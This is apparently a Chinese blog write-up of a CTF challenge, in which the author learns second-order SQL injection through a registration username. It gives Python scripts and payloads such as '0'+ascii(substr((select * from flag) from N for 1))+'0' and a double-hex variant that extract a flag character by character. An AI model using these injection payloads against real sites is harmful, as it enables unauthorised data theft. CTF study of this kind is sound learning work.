[RootersCTF2019]I_<3_Flask --- sql注入新方法:---‘0’+‘0’的奇怪方式来做 --- 二次注入--hex双重编码- 16进制---ascii也可以的

一、自己看WP后写脚本

关于request和re的使用,可以看这个:sql注入的python脚本学习request + re

我连注册登陆的脚本都写不好,,,写了半天,最后的那个submit不用管,直接就登陆了,然后每次要换一次 邮箱 和 账号

import requests
import re


register_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/register.php"
login_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/login.php"

for s in ["sfd","qwer","bt"]:
    
    #这个注入点是名字这里,用单引号的化,进入不了index.php也就是被过滤了,那就尝试其他的东西
    name ="sdf{}".format(s)# 注意换名字的生活,email也要换一下,因为名字是对应Email来找的!!!要记住,我这里也迷了好一会,
    ema="asdf{}".format(s)

    data={"email":ema,"username":name,"password":"aa"}

    data_login={"email":ema,"password":"aa"}
	#这里设置上timeout,防止连接失败,不写也行,我刚刚是网断了,,我靠,
    res=requests.post(url=register_url,data=data,timeout=3)

    res_login = requests.post(url=login_url,data=data_login,timeout=3)

    text = res_login.text
    
    # 找到所有的这个东西,输出出来。username就在这个里面,
    content = re.findall('<span.*</span>',text,re.S)
    for i in content:
        print(i)

    # 这里输出一下url。便于看是否进入了index.php
    print(res.url)
    print(res_login.url)

这里尝试出 '单引号不行,被过滤了,那就尝试 ;分号,堆叠注入,
测试出来了,分号没有被过滤
然后就看WP了吧,

学完了,我连后台的查询语句是什么也没弄清除,,,
吐了,,

二、学到的&&不足

  1. 学习python的re库,便于抓取username所在的地方
  2. +换成 ^也行,记得如果做题的时候这两个不好使,就换成unquote编码,也就是url编码的样式,%2B和什么
  3. 这个用'0'+''+'0'的方法,没学过啊,,

三、学习WP

说是,会看到用户名有回显,所以想到会不会是 sql注入,然后就出入用户名,

WP有尝试报错注入的。嗯嗯,不错的思路,但是 ,逗号被过滤了,不能用报错注入了,,,

WP用的是一种新的sql注入的方法,,,这里学习一下新方法:
在这里插入图片描述

如果用了hex;
在这里插入图片描述

这样’test’字符串的十六进制就会成功显示出来
在这里插入图片描述

但是有个问题,flag的16进制中存在字母,如果让他和’0’相加的化,:
在这里插入图片描述
会存在截断的问题,所以我们应该二次hex:

在这里插入图片描述
让最后的结果全是数字,这样就不存在截断的问题了

但是还有问题。如果结果超过10位的话,会转成科学计数法,像这样

在这里插入图片描述

就会导致丢失数据。因此要用substr来截:
在这里插入图片描述
但是这个题的 逗号 有被过滤了,所以用 from for 来代替逗号

在这里插入图片描述
还有一个问题,就是我们再尝试注入的时候发现information被过滤了。因此必须猜测表名是flag。注入的语句是select * from flag。
注入的姿势如下

+换成 ^也行,记得如果做题的时候这两个不好使,就换成unquote编码,也就是url编码的样式,%2B和什么

学完了,我连后台的查询语句是什么也没弄清除,,,
吐了,,

为什么要用 0 带上,

不清楚啊,,,

ascii方法出flag

找WP的时候,看到了这个ascii方法的。出flag了~~


register_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/register.php"
login_url="http://3c93c7d9-0f4c-499f-905b-7389e11bb946.node3.buuoj.cn/login.php"

for s in range(100):

    #这个注入点是名字这里,用单引号的化,进入不了index.php也就是被过滤了,那就尝试其他的东西
    #name ="0'%2Bsubstr((hex(hex(select * from flag)) from 1 for 10) from 1 for 10)%2B'0"

    name = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(s+1)


    ema="a1{}".format(s)

    data={"email":ema,"username":name,"password":"aa"}

    data_login={"email":ema,"password":"aa"}

    res=requests.post(url=register_url,data=data,timeout=3)

    res_login = requests.post(url=login_url,data=data_login,timeout=3)

    text = res_login.text

    # 找到所有的这个东西,输出出来。username就在这个里面,
    content = re.findall('<span.*</span>',text,re.S)
    for i in content:
        print(i)

    # 这里输出一下url。便于看是否进入了index.php
    print(res.url)
    print(res_login.url)

我的脚本太屎了,所以其他多余的东西多,,,

在这里插入图片描述然后就出flag了
在这里插入图片描述

 #这个注入点是名字这里,用单引号的化,进入不了index.php也就是被过滤了,那就尝试其他的东西
    name ="0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%s

    #name = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(s+1)

最后换成这个也行,也是一次出一个字符,只不过是16进制的,然后两次hex解码就得到flag了

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值